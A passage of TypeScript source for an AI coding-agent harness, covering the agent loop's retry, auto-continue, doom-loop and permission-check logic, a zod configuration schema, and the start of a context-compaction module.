at step boundaries so\n // the parent monitors its children without polling. Only the root\n // loop drains — children cannot spawn subagents.\n if ((this.opts.subagentDepth ?? 0) === 0) {\n for (const finished of defaultAgentTasks.drainNotifications()) {\n const label = finished.description ? ` \"${finished.description}\"` : \"\";\n const note: CoreMessage = {\n role: \"user\",\n content: `[background subagent ${finished.id}${label} ${finished.status}]\\n${finished.result}`,\n };\n this.messages.push(note);\n await this.persist(note);\n }\n }\n const maxTokens = this.opts.contextMaxTokens ?? config.contextMaxTokens;\n // Auto-compaction fires at compactThresholdTokens when configured\n // (clamped to the window), otherwise only once the window is full.\n const compacted = compactMessages(\n [...this.messages],\n resolveCompactThreshold(config, maxTokens),\n );\n if (compacted.compacted) {\n this.messages = await this.applyCompactionSummary(compacted, signal);\n // Persist the rewritten history like manual /compact does. Memory\n // and disk must never diverge here: a later retractLastTurn /\n // retractFromIndex replaceMessages would otherwise silently swap\n // the full on-disk transcript for the compacted one as a side\n // effect of what the user confirmed as a plain retraction.\n await this.opts.sessionStore?.replaceMessages([...this.messages]);\n // Compaction rewrote the history wholesale, so recorded turn indices\n // no longer line up — drop the markers like loadMessages() does.\n // /undo then only retracts messages until new turns accumulate,\n // instead of reverting files against a stale snapshot turn.\n this.turnMarkers = [];\n this.opts.registry?.resetVolatileState();\n }\n\n // One model step, with retries: a transient stream failure (network\n // error, 429/5xx, idle watchdog cutoff) or an empty response must not\n // silently end a half-finished turn. Partial output from a failed\n // attempt is discarded — only a clean attempt is persisted. The wait\n // between attempts honors the server's Retry-After hint and otherwise\n // backs off exponentially with jitter (see llm/retry.ts).\n const maxRetries = Math.max(0, config.streamMaxRetries);\n const baseDelay = this.opts.retryDelayMs ?? STREAM_RETRY_BASE_DELAY_MS;\n let text = \"\";\n const toolCalls: PendingToolCall[] = [];\n let failure: Error | null = null;\n // Finish reason of the latest attempt: distinguishes a model that\n // actively returned nothing (stop/content-filter — the same request\n // tends to fail again) from a stream that died empty (idle-timeout,\n // network — worth resending as-is).\n let lastFinishReason: string | undefined;\n // Token usage of the latest attempt, and whether it streamed any\n // reasoning: both mark an empty reply as *deliberate* generation\n // rather than a relay hiccup. Reasoning-model relays that hide\n // reasoning content return turns where the model thought but produced\n // no visible output as an empty stop that still bills completion\n // tokens — resending the identical request reproduces them, so they\n // are steered early instead of spending the full retry budget.\n let lastUsage: { completionTokens: number } | undefined;\n let sawReasoning = false;\n // The latest attempt's stream was cut by the idle watchdog after real\n // content arrived — the reply is partial and worth resuming rather than\n // accepting as complete.\n let wasTruncated = false;\n // One free retry per step, outside the transient-retry budget: when the\n // provider rejects the request for an oversized image (a 4xx), the\n // offending images are stripped from the history and the request resent.\n let oversizedImagesStripped = false;\n\n // Whitespace-only text counts as NO output: buffering relays often\n // stream one leading space delta the moment the request lands, then go\n // silent until the whole response is ready. If the idle watchdog cuts\n // such a stream, treating the space as content would skip the entire\n // retry budget and persist a junk \" \" reply (which then lures the\n // auto-continue nudges). Classifying it as empty routes it into the\n // retry path with its growing timeout windows instead.\n const hasOutput = () => text.trim().length > 0 || toolCalls.length > 0;\n\n for (let attempt = 0; ; attempt++) {\n text = \"\";\n toolCalls.length = 0;\n failure = null;\n lastFinishReason = undefined;\n lastUsage = undefined;\n sawReasoning = false;\n wasTruncated = false;\n // Retried attempts get more patient stream timeouts (1x, 2x, 3x): a\n // relay that just timed out is overloaded, so re-asking with the same\n // deadline would hit the same wall.\n const timeoutScale = Math.min(attempt + 1, 3);\n\n try {\n for await (const event of this.streamOnce(aiTools, signal, timeoutScale)) {\n if (event.type === \"text-delta\") {\n text += event.text;\n yield event;\n } else if (event.type === \"reasoning\") {\n sawReasoning = true;\n yield event;\n } else if (event.type === \"tool-call\") {\n toolCalls.push({ id: event.id, name: event.name, args: event.args });\n yield event;\n } else if (event.type === \"finish\") {\n lastFinishReason = event.finishReason;\n if (event.truncated) wasTruncated = true;\n // The raw usage drives the empty-reply heuristic; the folded\n // copy (own + settled subagent usage) is what consumers meter.\n lastUsage = event.usage;\n yield this.foldSubagentUsage(event);\n } else if (event.type === \"error\") {\n // Held back until retries are exhausted, so the UI shows retry\n // notices instead of an error for a turn that then recovers.\n failure = event.error;\n } else {\n yield event;\n }\n }\n } catch (error) {\n // A user-initiated abort is a normal end of the turn, not an error.\n if (!signal.aborted) {\n failure = error instanceof Error ? error : new Error(String(error));\n }\n }\n\n if (signal.aborted) {\n yield* this.persistInterrupted(text, toolCalls);\n await this.runStopHooks(\"aborted\");\n return;\n }\n if (!failure && hasOutput()) break;\n if (failure && !oversizedImagesStripped && isOversizedImageError(failure)) {\n oversizedImagesStripped = true;\n const removed = await this.stripOversizedImages();\n if (removed > 0) {\n yield {\n type: \"notice\",\n message: `Removed ${removed} oversized image(s) the model rejected; retrying the request.`,\n };\n continue;\n }\n }\n if (failure && !isRetryableStreamError(failure)) break;\n if (attempt >= maxRetries) break;\n // Deterministic-empty replies reproduce on identical resends, so\n // after one confirmation resend break out and let the steering logic\n // below change the model's input: a content filter judged the\n // request itself; reasoning arrived but no visible output; or the\n // finish billed completion tokens while nothing was delivered (the\n // signature of a reasoning-only turn on a relay that hides\n // reasoning). Any other empty reply — stop with no content and no\n // tokens — is indistinguishable from a relay hiccup (an overloaded\n // relay answers with an empty stub) and gets the full retry budget:\n // a resend bills the same prompt a nudge would, without polluting\n // the history.\n if (\n !failure &&\n !hasOutput() &&\n attempt >= 1 &&\n (isFilteredEmptyFinish(lastFinishReason) ||\n sawReasoning ||\n (lastUsage !== undefined && lastUsage.completionTokens > 0))\n )\n break;\n\n // An empty reply is the signature of an overloaded relay answering\n // with an empty stub, so resend more patiently than after a hard\n // error (doubled base delay) to give the relay time to recover.\n const delayMs = computeRetryDelayMs(attempt, failure ? baseDelay : baseDelay * 2, failure);\n yield {\n type: \"retry\",\n attempt: attempt + 2,\n maxAttempts: maxRetries + 1,\n delayMs,\n reason: failure\n ? summarizeStreamError(failure)\n : `empty response (finish: ${lastFinishReason ?? \"none\"})`,\n };\n if (!(await sleep(delayMs, signal))) {\n // An abort that lands during the retry wait is the same user\n // interrupt as Esc mid-stream: keep whatever this attempt already\n // produced instead of dropping it silently.\n yield* this.persistInterrupted(text, toolCalls);\n await this.runStopHooks(\"aborted\");\n return;\n }\n }\n\n if (failure) {\n yield { type: \"error\", error: failure };\n await this.runStopHooks(\"error\");\n return;\n }\n if (!hasOutput()) {\n // Steering beats repeating: a nudge changes the model's input, which\n // breaks a deterministic empty reply where an identical resend would\n // not. Shares the auto-continue budget, so a model that keeps\n // answering with nothing still stops.\n if (\n isSteerableEmptyFinish(lastFinishReason) &&\n config.permissionMode !== \"plan\" &&\n autoContinues < config.maxAutoContinues\n ) {\n autoContinues++;\n lastWasNudge = true;\n yield {\n type: \"notice\",\n message: `the model returned an empty reply; asking the model to continue (${autoContinues}/${config.maxAutoContinues}).`,\n };\n const nudge: CoreMessage = {\n role: \"user\",\n content: EMPTY_REPLY_NUDGE + finalNudgeWarning(autoContinues, config.maxAutoContinues),\n };\n this.messages.push(nudge);\n await this.persist(nudge);\n continue;\n }\n yield {\n type: \"error\",\n error: new Error(\"The model returned an empty response after retries; ending the turn.\"),\n };\n await this.runStopHooks(\"empty\");\n return;\n }\n\n const assistantMessage: CoreMessage = {\n role: \"assistant\",\n content: [\n ...(text ? [{ type: \"text\" as const, text }] : []),\n ...toolCalls.map((call) => ({\n type: \"tool-call\" as const,\n toolCallId: call.id,\n toolName: call.name,\n args: call.args,\n })),\n ],\n };\n this.messages.push(assistantMessage);\n await this.persist(assistantMessage);\n\n if (toolCalls.length === 0) {\n // A watchdog cut mid-generation is a stream failure, not a model\n // choice: resume where the reply stopped rather than judging the\n // partial text with the unproductivity signals below (which would\n // either accept a half answer or spend the auto-continue budget on\n // what is really transport trouble). Budgeted separately by\n // streamMaxRetries; plan mode is excluded like all nudges.\n if (wasTruncated) {\n if (config.permissionMode !== \"plan\" && streamCutContinues < config.streamMaxRetries) {\n streamCutContinues++;\n yield {\n type: \"notice\",\n message: `reply cut short by a stream timeout; asking the model to resume where it stopped (${streamCutContinues}/${config.streamMaxRetries}).`,\n };\n const nudge: CoreMessage = { role: \"user\", content: TRUNCATED_CONTINUE_NUDGE };\n this.messages.push(nudge);\n await this.persist(nudge);\n continue;\n }\n if (config.permissionMode !== \"plan\") {\n yield {\n type: \"notice\",\n message:\n 'reply was cut short by a stream timeout and resume attempts are exhausted, handing the turn back — reply \"continue\" to keep going.',\n };\n }\n await this.runStopHooks(\"completed\");\n return;\n }\n // A turn that ends in text only is suspect: weaker models announce\n // work (\"我会…\") instead of calling tools. Signals decide whether to\n // nudge the model onward (bounded by maxAutoContinues, never in plan\n // mode, where a text-only plan is the intended end): open todo items\n // written this turn (deterministic), then — for turns that used\n // tools — a semantic completion check by the model itself, whose\n // DONE verdict also vetoes the weaker signals below (a closer like\n // \"let me know if…\" must not re-trigger a nudge). Only when that\n // check can't answer, or no tool ran so there is nothing to verify,\n // do the heuristics decide: an ignored previous nudge (behavioral),\n // then announcement keywords (heuristic).\n let reason: string | null = null;\n let nudgeText = AUTO_CONTINUE_NUDGE;\n if (openTodos.length > 0) {\n reason = `${openTodos.length} todo item(s) still open`;\n nudgeText = `[auto-continue] You ended your turn with unfinished todo item(s): ${openTodos\n .map((t) => `\"${t}\"`)\n .join(\n \", \",\n )}. Complete them now with tool calls, or update the list with todo_write if they are no longer needed.`;\n } else if (usedToolsThisTurn && !signal.aborted) {\n const complete = await checkTaskComplete(\n this.getAuxModel(),\n inputText,\n text,\n signal,\n this.getAuxTemperature(),\n );\n if (complete === false) {\n reason = \"completion check reports the task unfinished\";\n } else if (complete === null) {\n // The check is unverifiable (network, timeout, unparseable):\n // fall back to the heuristic signals.\n if (lastWasNudge) {\n reason = \"reply still had no tool calls\";\n } else if (PENDING_WORK_PATTERN.test(text)) {\n reason = \"reply announced unfinished work\";\n }\n }\n } else if (lastWasNudge) {\n reason = \"reply still had no tool calls\";\n } else if (PENDING_WORK_PATTERN.test(text)) {\n reason = \"reply announced unfinished work\";\n }\n if (\n reason !== null &&\n config.permissionMode !== \"plan\" &&\n autoContinues < config.maxAutoContinues\n ) {\n autoContinues++;\n lastWasNudge = true;\n yield {\n type: \"notice\",\n message: `${reason}; asking the model to continue (${autoContinues}/${config.maxAutoContinues}).`,\n };\n const nudge: CoreMessage = {\n role: \"user\",\n content: nudgeText + finalNudgeWarning(autoContinues, config.maxAutoContinues),\n };\n this.messages.push(nudge);\n await this.persist(nudge);\n continue;\n }\n if (reason !== null && config.permissionMode !== \"plan\") {\n // Never stop silently with work pending: say why the turn is ending\n // and how to get it going again.\n yield {\n type: \"notice\",\n message: `${reason}; auto-continue limit reached, handing the turn back — reply \"continue\" to keep going.`,\n };\n }\n await this.runStopHooks(\"completed\");\n return;\n }\n lastWasNudge = false;\n usedToolsThisTurn = true;\n // Tool calls are real progress: the budget guards against *consecutive*\n // unproductive replies, so a working turn earns its nudges back and a\n // long productive task is no longer cut off mid-way.\n autoContinues = 0;\n\n const answered = new Set<string>();\n try {\n for (const call of toolCalls) {\n if (signal.aborted) break;\n // Doom-loop guard: the same tool called with identical arguments\n // over and over is a model stuck retrying, so past the threshold\n // the repeat is refused without executing. The refusal is persisted\n // as the call's result like any other, keeping history replayable.\n const refusal = this.doomLoopRefusal(call);\n if (refusal !== null) {\n yield { type: \"notice\", message: refusal };\n } else {\n toolExecutedSinceCheckpoint = true;\n }\n const result =\n refusal !== null\n ? { content: refusal, isError: true }\n : await this.executeTool(call, signal);\n const toolMessage: CoreMessage = {\n role: \"tool\",\n content: [\n {\n type: \"tool-result\",\n toolCallId: call.id,\n toolName: call.name,\n result: result.content,\n },\n ],\n };\n this.messages.push(toolMessage);\n await this.persist(toolMessage);\n answered.add(call.id);\n // Tool-attached images (read_image, screenshot) ride as a follow-up user message\n // with real image parts — tool results are text-only on every\n // protocol, and this is the same shape pasted images arrive in.\n if (result.images && result.images.length > 0) {\n const imageMessage: CoreMessage = {\n role: \"user\",\n content: [\n ...result.images.map((img) => ({\n type: \"image\" as const,\n image: img.data,\n mimeType: img.mimeType,\n })),\n ...result.images.map((img) => ({\n type: \"text\" as const,\n text: `[image from ${call.name}: ${img.path}]`,\n })),\n ],\n };\n this.messages.push(imageMessage);\n await this.persist(imageMessage);\n }\n if (call.name === \"todo_write\" && !result.isError) {\n openTodos = pendingTodoTitles(call.args);\n }\n yield {\n type: \"tool-result\",\n id: call.id,\n name: call.name,\n content: result.content,\n isError: result.isError,\n };\n }\n } finally {\n // The assistant message carrying these tool calls is already persisted,\n // so every call must be closed with a tool message even when execution\n // is aborted or blows up mid-batch; otherwise the stored history can\n // no longer be sent to the API.\n for (const call of toolCalls) {\n if (answered.has(call.id)) continue;\n const content = signal.aborted\n ? \"Tool execution interrupted by user.\"\n : \"Tool execution interrupted before a result was produced.\";\n const synthetic: CoreMessage = {\n role: \"tool\",\n content: [\n {\n type: \"tool-result\",\n toolCallId: call.id,\n toolName: call.name,\n result: content,\n },\n ],\n };\n this.messages.push(synthetic);\n await this.persist(synthetic).catch(() => {});\n yield { type: \"tool-result\", id: call.id, name: call.name, content, isError: true };\n }\n }\n\n if (signal.aborted) {\n await this.runStopHooks(\"aborted\");\n return;\n }\n step++;\n }\n }\n\n // The permission mode can change at runtime, so the system message is\n // recomputed at the start of every turn instead of being frozen by the\n // constructor. Also restores a system message after loadMessages() (resume,\n // /model switch) replaced the history with one that has none. Everything in\n // here is stable across turns (base prompt, plan-mode flag, memories, skills\n // — the latter two cached by mtime), which keeps the prompt-cache prefix\n // intact; volatile git state rides per-turn on the latest user message\n // instead (attachTurnContext).\n private syncSystemMessage(): void {\n const base = this.opts.system;\n const plan = this.opts.config.permissionMode === \"plan\";\n const parts: string[] = [];\n if (base) parts.push(base);\n if (plan) parts.push(PLAN_MODE_PROMPT.trim());\n const memory = readProjectMemory(this.opts.cwd);\n if (memory) parts.push(memory);\n const userMemory = readUserMemory();\n if (userMemory) parts.push(userMemory);\n const skills = discoverSkills(this.opts.cwd);\n if (skills.length > 0) parts.push(formatSkillsBlock(skills));\n if (parts.length === 0) return;\n const content = parts.join(\"\\n\\n\");\n const head = this.messages[0];\n if (head?.role === \"system\" && typeof head.content === \"string\") {\n // Replace rather than mutate in place: history messages are treated\n // as immutable so the token estimator's per-object cache\n // (context/tokens.ts) never serves a stale count for an edited one.\n if (head.content !== content) this.messages[0] = { role: \"system\", content };\n } else if (head?.role !== \"system\") {\n this.messages.unshift({ role: \"system\", content });\n }\n }\n\n private async applyCompactionSummary(\n compacted: CompactionResult,\n signal?: AbortSignal,\n ): Promise<CoreMessage[]> {\n const { config } = this.opts;\n if (config.contextCompaction !== \"summary\") {\n return compacted.messages;\n }\n const headCount = compacted.messages[0]?.role === \"system\" ? 1 : 0;\n const dropped = this.messages.slice(headCount, headCount + compacted.droppedCount);\n try {\n const summary = await summarizeMessages(\n dropped,\n this.getAuxModel(),\n signal,\n this.getAuxTemperature(),\n );\n const messages = compacted.messages.slice();\n messages[headCount] = {\n role: \"user\",\n content: `[earlier conversation summarized]\\n${summary}`,\n };\n return messages;\n } catch {\n return compacted.messages;\n }\n }\n\n private async *streamOnce(\n aiTools: Record<string, unknown>,\n signal: AbortSignal,\n timeoutScale = 1,\n ): AsyncGenerator<StreamEvent> {\n for await (const event of streamChat({\n model: this.opts.model,\n messages: attachTurnContext(this.messages, this.turnGitContext),\n tools: aiTools,\n abortSignal: signal,\n providerMetadata: this.opts.providerMetadata,\n idleTimeoutMs:\n (this.opts.streamIdleTimeoutSec ?? this.opts.config.streamIdleTimeoutSec) *\n 1000 *\n timeoutScale,\n firstPartTimeoutMs:\n (this.opts.streamFirstChunkTimeoutSec ?? this.opts.config.streamFirstChunkTimeoutSec) *\n 1000 *\n timeoutScale,\n temperature: this.opts.temperature,\n })) {\n // The idle watchdog can end a stream gracefully after content already\n // arrived; surface the cut-off instead of letting a half sentence pass\n // for a complete reply.\n if (event.type === \"finish\" && event.truncated) {\n yield {\n type: \"notice\",\n message:\n \"Response was cut short by the stream idle timeout — the reply may be incomplete.\",\n };\n }\n yield event;\n }\n }\n\n private buildAiTools(): Record<string, unknown> {\n const plan = this.opts.config.permissionMode === \"plan\";\n const tools: Record<string, unknown> = {};\n for (const t of this.opts.registry.list()) {\n // Plan mode hides write/exec tools from the model entirely; the\n // permission gate stays as a backstop for anything still attempted.\n if (plan && t.permission !== \"read\") continue;\n tools[t.name] = aiTool({\n description: t.description,\n parameters: t.parameters as never,\n });\n }\n return tools;\n }\n\n // Fires the Stop hooks for a turn's end, on every termination path (normal\n // completion, Esc abort, exhausted stream retries, terminal empty replies,\n // the maxSteps no-progress stop). The reason rides in STAR_TOOL_INPUT as\n // {\"reason\": ...}: Stop hooks ignore tool matchers and the variable was\n // never set for Stop before, so existing hooks are unaffected.\n private async runStopHooks(reason: string): Promise<void> {\n await this.runEventHooks(\"Stop\", undefined, { reason });\n }\n\n private async runEventHooks(\n event: HookEvent,\n toolName?: string,\n toolInput?: unknown,\n ): Promise<HookRunResult> {\n const empty: HookRunResult = { blocked: false, warnings: [] };\n if (this.opts.config.hooks.length === 0) return empty;\n try {\n const result = await runHooks(event, this.opts.config.hooks, {\n cwd: this.opts.cwd,\n sessionId: this.opts.sessionStore?.id,\n toolName,\n toolInput,\n });\n for (const warning of result.warnings) this.onHookWarning?.(warning);\n return result;\n } catch {\n // Hooks are best-effort by design: a broken hook must never crash a turn.\n return empty;\n }\n }\n\n // Accumulates a settled subagent's usage. When the child provably ran on a\n // different, fully priced model, the counts are first converted into\n // this-model-priced equivalents (convertUsagePricing): session cost is\n // token totals × the active model's price, so the conversion keeps the $\n // estimate accurate where raw sums would misprice.\n private addSubagentUsage(usage: TokenUsage, childModel: LanguageModel): void {\n const converted = convertUsagePricing(usage, childModel, this.opts.model, this.opts.config);\n const pending = this.subagentUsage ?? {\n promptTokens: 0,\n completionTokens: 0,\n totalTokens: 0,\n };\n pending.promptTokens += converted.promptTokens;\n pending.completionTokens += converted.completionTokens;\n pending.totalTokens += converted.totalTokens;\n if (converted.cachedPromptTokens) {\n pending.cachedPromptTokens = (pending.cachedPromptTokens ?? 0) + converted.cachedPromptTokens;\n }\n if (converted.cacheReadInputTokens) {\n pending.cacheReadInputTokens =\n (pending.cacheReadInputTokens ?? 0) + converted.cacheReadInputTokens;\n }\n this.subagentUsage = pending;\n }\n\n // Folds pending subagent usage into an outgoing finish event (and clears\n // it). A finish without usage reports nothing to consumers, so the pending\n // amount is kept for the next finish that carries usage instead.\n private foldSubagentUsage(\n event: Extract<StreamEvent, { type: \"finish\" }>,\n ): Extract<StreamEvent, { type: \"finish\" }> {\n const pending = this.subagentUsage;\n if (!pending || !event.usage) return event;\n this.subagentUsage = null;\n const usage: TokenUsage = {\n promptTokens: event.usage.promptTokens + pending.promptTokens,\n completionTokens: event.usage.completionTokens + pending.completionTokens,\n totalTokens: event.usage.totalTokens + pending.totalTokens,\n };\n const cachedPromptTokens =\n (event.usage.cachedPromptTokens ?? 0) + (pending.cachedPromptTokens ?? 0);\n const cacheReadInputTokens =\n (event.usage.cacheReadInputTokens ?? 0) + (pending.cacheReadInputTokens ?? 0);\n if (cachedPromptTokens > 0) usage.cachedPromptTokens = cachedPromptTokens;\n if (cacheReadInputTokens > 0) usage.cacheReadInputTokens = cacheReadInputTokens;\n return { ...event, usage };\n }\n\n // opencode's doom_loop guard: returns a refusal once the identical tool\n // call (name + stable-serialized args) has repeated config.doomLoopThreshold\n // times in a row; 0 disables. Any different signature resets the streak.\n // Subagents are separate loop instances, so each counts its own streak.\n private doomLoopRefusal(call: PendingToolCall): string | null {\n const threshold = this.opts.config.doomLoopThreshold;\n if (threshold <= 0) return null;\n const signature = `${call.name} ${stableStringify(call.args)}`;\n if (signature === this.lastToolSignature) {\n this.repeatedToolCalls += 1;\n } else {\n this.lastToolSignature = signature;\n this.repeatedToolCalls = 1;\n }\n if (this.repeatedToolCalls < threshold) return null;\n return `Refused: tool \"${call.name}\" was called ${this.repeatedToolCalls} times in a row with identical arguments. Stop retrying it — change your approach or report that you are blocked.`;\n }\n\n private async executeTool(call: PendingToolCall, signal: AbortSignal): Promise<ToolResult> {\n const { registry, config, cwd } = this.opts;\n const tool = registry.get(call.name);\n if (!tool) {\n return { content: `Unknown tool: ${call.name}`, isError: true };\n }\n\n const decision = checkPermission(\n config.permissionMode,\n { toolName: call.name, args: call.args, level: tool.permission },\n { cwd },\n config.permissions.allow,\n config.permissions.deny,\n );\n\n if (decision === \"deny\") {\n return { content: `Permission denied for tool \"${call.name}\".`, isError: true };\n }\n if (decision === \"ask\") {\n let approved = false;\n try {\n approved = this.confirmHandler\n ? await this.confirmHandler({\n toolName: call.name,\n args: call.args,\n level: tool.permission,\n })\n : false;\n } catch {\n approved = false;\n }\n if (!approved) {\n return { content: `User rejected tool \"${call.name}\".`, isError: true };\n }\n }\n\n const parsed = tool.parameters.safeParse(call.args);\n if (!parsed.success) {\n return { content: `Invalid arguments: ${parsed.error.message}`, isError: true };\n }\n\n const pre = await this.runEventHooks(\"PreToolUse\", call.name, call.args);\n if (pre.blocked) {\n return {\n content: `Tool \"${call.name}\" blocked by a PreToolUse hook: ${pre.reason}`,\n isError: true,\n };\n }\n\n let result: ToolResult;\n try {\n result = await tool.execute(parsed.data, {\n cwd,\n abortSignal: signal,\n snapshotContext: {\n owner: (this.opts.subagentDepth ?? 0) > 0 ? \"subagent\" : \"root\",\n turn: this.activeTurnSeq,\n messageIndex: this.activeTurnUserIndex,\n },\n });\n } catch (error) {\n if (signal.aborted) {\n return { content: \"Tool execution aborted.\", isError: true };\n }\n return {\n content: `Tool error: ${error instanceof Error ? error.message : String(error)}`,\n isError: true,\n };\n }\n\n if (!result.isError) {\n await this.runEventHooks(\"PostToolUse\", call.name, call.args);\n }\n return result;\n }\n}\n","import { z } from \"zod\";\n\nexport const ProviderConfigSchema = z.object({\n name: z.string(),\n // openai-responses talks to the Responses API (/responses) instead of chat\n // completions — the wire format codex uses, and the native API of\n // reasoning-model relays that otherwise hide reasoning behind empty chat\n // completions. streamChat sends strictSchemas:false + store:false with it.\n protocol: z\n .enum([\"openai-compatible\", \"anthropic\", \"openai-responses\"])\n .default(\"openai-compatible\"),\n baseURL: z.string(),\n apiKeyEnv: z.string().optional(),\n apiKey: z.string().optional(),\n headers: z.record(z.string()).optional(),\n});\n\nexport const ModelConfigSchema = z.object({\n name: z.string(),\n provider: z.string(),\n model: z.string(),\n maxTokens: z.number().int().positive().optional(),\n // Per-model context window; overrides the top-level contextMaxTokens for\n // compaction and the status bar when set.\n contextMaxTokens: z.number().int().positive().optional(),\n // Reasoning intensity for thinking models, forwarded verbatim as\n // OpenAI-style reasoning_effort on every request (llm/provider.ts\n // reasoningEffortMetadata) — level naming varies by model/provider\n // (low|medium|high are common; some add minimal/max/xhigh/none), so any\n // non-empty string is accepted and the server validates it. Unset = the\n // request carries no effort field and the server-side default applies.\n // Anthropic maps effort to a thinking budget instead — ignored there.\n reasoningEffort: z.string().min(1).optional(),\n // Sampling temperature forwarded on every request. Unset = the AI SDK's\n // own default applies (ai@4 sends 0 — it does NOT omit the field). Some\n // endpoints reject anything but one explicit value (e.g. kimi-for-coding:\n // \"invalid temperature: only 1 is allowed\") — set it here. No upper\n // bound: ranges vary by provider and the server validates.\n temperature: z.number().min(0).optional(),\n // Per-model overrides of the top-level stream watchdog timeouts (unset =\n // the global values apply). Raise streamIdleTimeoutSec for relays that\n // buffer long generations and stall mid-stream between flushes.\n streamIdleTimeoutSec: z.number().positive().optional(),\n streamFirstChunkTimeoutSec: z.number().positive().optional(),\n // Cost estimation needs BOTH prices (USD per 1M tokens); with only one set\n // the model is treated as unpriced.\n promptPrice: z.number().nonnegative().optional(),\n completionPrice: z.number().nonnegative().optional(),\n // Optional price (USD per 1M tokens) for cache-read prompt tokens. When\n // unset, OpenAI-style cached tokens bill at promptPrice and Anthropic-style\n // cache reads are not billed — set this for accurate cache pricing.\n cacheReadPrice: z.number().nonnegative().optional(),\n});\n\nexport const PermissionsConfigSchema = z.object({\n allow: z.array(z.string()).default([]),\n deny: z.array(z.string()).default([]),\n});\n\nexport const HookConfigSchema = z.object({\n event: z.enum([\"PreToolUse\", \"PostToolUse\", \"Stop\"]),\n matcher: z\n .string()\n .refine(\n (pattern) => {\n try {\n new RegExp(pattern);\n return true;\n } catch {\n return false;\n }\n },\n { message: \"invalid regular expression\" },\n )\n .optional(),\n command: z.string().min(1),\n timeoutSec: z.number().positive().default(30),\n});\n\nexport const ConfigSchema = z.object({\n defaultModel: z.string().default(\"\"),\n // Optional [[models]] name for cheap auxiliary LLM calls (compaction\n // summaries, session titles, turn completion checks) — Claude Code routes\n // these to a Haiku-class model. Unset = the active main model does them.\n smallModel: z.string().optional(),\n permissionMode: z.enum([\"auto\", \"ask\", \"readonly\", \"yolo\", \"plan\"]).default(\"ask\"),\n providers: z.array(ProviderConfigSchema).default([]),\n models: z.array(ModelConfigSchema).default([]),\n // Cap on model round-trips (\"steps\") per turn between progress checkpoints.\n // One step is a streamed reply plus every tool call it asked for — stream\n // retries and auto-continue nudges do not consume steps. Reaching the cap\n // while tools still execute resets the budget with a notice; the turn stops\n // only when no tool ran since the last checkpoint (the doom-loop\n // signature). 0 disables the cap entirely (opencode/codex have none).\n maxSteps: z.number().int().min(0).default(100),\n contextMaxTokens: z.number().int().positive().default(100_000),\n // Token threshold at which the agent loop auto-compacts the history.\n // Defaults to the effective context window (compact only when full); set a\n // lower value to compact earlier and keep headroom. Manual /compact ignores\n // this — it always compacts.\n compactThresholdTokens: z.number().int().positive().optional(),\n // Seconds without any stream part before a stalled response is ended\n // gracefully (some relays never send the terminal chunks). Applies once\n // content has started streaming; the wait for the first content part gets\n // a longer allowance (control/metadata parts don't count as content).\n streamIdleTimeoutSec: z.number().positive().default(20),\n // Seconds to wait for the very first content part before giving up; slow\n // thinking-model endpoints can stay silent for minutes after accepting\n // the request.\n streamFirstChunkTimeoutSec: z.number().positive().default(300),\n // Extra attempts per model request when a stream fails transiently\n // (network error, 429/5xx, idle watchdog cutoff) or comes back empty, so a\n // relay hiccup does not silently end a half-finished turn. 0 disables.\n // The wait between attempts honors Retry-After headers and otherwise backs\n // off exponentially with jitter (llm/retry.ts); retries after a\n // timeout/empty failure also scale both stream timeouts up (attempt number\n // ×, capped at 3x) since the relay is likely overloaded. Default 5 matches\n // opencode/Codex retry budgets and rides out flaky relays (中转站) better\n // than a minimal budget.\n streamMaxRetries: z.number().int().min(0).default(5),\n // How many consecutive unproductive replies may be nudged before the turn\n // is handed back: a text-only reply that announces pending work (\"我将…\",\n // \"I will…\") or answers a nudge with more words, or an empty reply that\n // survived the stream retry budget (steered with a nudge — a changed\n // request — since identical resends already failed). Tool calls reset the\n // count, so a productive task keeps going; exhaustion surfaces a notice\n // instead of stopping silently. Never fires in plan mode. 0 disables.\n maxAutoContinues: z.number().int().min(0).default(2),\n contextCompaction: z.enum([\"summary\", \"truncate\"]).default(\"summary\"),\n // Optional per-session dollar budget; when set, the REPL stops the session\n // once the estimated cost for the session reaches this amount.\n sessionBudgetUsd: z.number().positive().optional(),\n // Terminal bell (REPL only): ring when a turn takes longer than\n // notifyBellThresholdSec, and when a background task finishes.\n // STAR_NO_NOTIFY=1 disables without touching the config.\n notifyBell: z.boolean().default(true),\n notifyBellThresholdSec: z.number().positive().default(10),\n permissions: PermissionsConfigSchema.default({ allow: [], deny: [] }),\n hooks: z.array(HookConfigSchema).default([]),\n // Consecutive identical tool calls (same tool + same arguments) allowed\n // before the loop refuses to execute the repeat and tells the model to\n // change approach — a guard against agents stuck retrying a failing call\n // (opencode's doom_loop). 0 disables.\n doomLoopThreshold: z.number().int().min(0).default(3),\n // Track the whole working tree with an internal git repo (outside the\n // user's .git) at every turn boundary, so /undo and /redo can restore\n // changes made by ANY tool (bash included), not just write_file/edit_file.\n // Falls back silently to per-file snapshots when git is unavailable.\n gitSnapshots: z.boolean().default(true),\n});\n\nexport type ProviderConfig = z.infer<typeof ProviderConfigSchema>;\nexport type ModelConfig = z.infer<typeof ModelConfigSchema>;\nexport type PermissionsConfig = z.infer<typeof PermissionsConfigSchema>;\nexport type HookConfig = z.infer<typeof HookConfigSchema>;\nexport type StarConfig = z.infer<typeof ConfigSchema>;\n\n// Effective context window for a model: its own contextMaxTokens when set,\n// otherwise the top-level config.contextMaxTokens.\nexport function contextWindowTokens(config: StarConfig, modelName: string): number {\n return (\n config.models.find((m) => m.name === modelName)?.contextMaxTokens ?? config.contextMaxTokens\n );\n}\n\n// Token threshold that triggers automatic compaction in the agent loop:\n// config.compactThresholdTokens when set, clamped to the window so a stale\n// value (e.g. after switching to a smaller model) never pushes compaction\n// past it; otherwise the window itself (current behavior).\nexport function resolveCompactThreshold(config: StarConfig, windowTokens: number): number {\n return Math.min(config.compactThresholdTokens ?? windowTokens, windowTokens);\n}\n\nexport interface CliOverrides {\n model?: string;\n permissionMode?: \"auto\" | \"ask\" | \"readonly\" | \"yolo\" | \"plan\";\n}\n","import { type LanguageModelV1, generateText } from \"ai\";\nimport type { CoreMessage } from \"../core/messages\";\nimport { estimateMessageTokens, estimateTokens } from \"./tokens\";\n\nexport interface CompactionResult {\n messages: CoreMessage[];\n compacted: boolean;\n droppedCount: number;\n}\n\nconst MIN_KEPT_MESSAGES = 4;\n\nfunction placeholderMessage(droppedCount: number): CoreMessage {\n return {\n role: \"user\",\n content: `[context compacted: ${droppedCount} earlier messages dropped]`,\n };\n}\n\nconst SUMMARY_SYSTEM_PROMPT = [\n \"You are summarizing an AI coding agent's conversation for context compaction.\",\n \"Write a concise summary that preserves:\",\n \"- the user's goals and requests\",\n \"- decisions made and their rationale\",\n 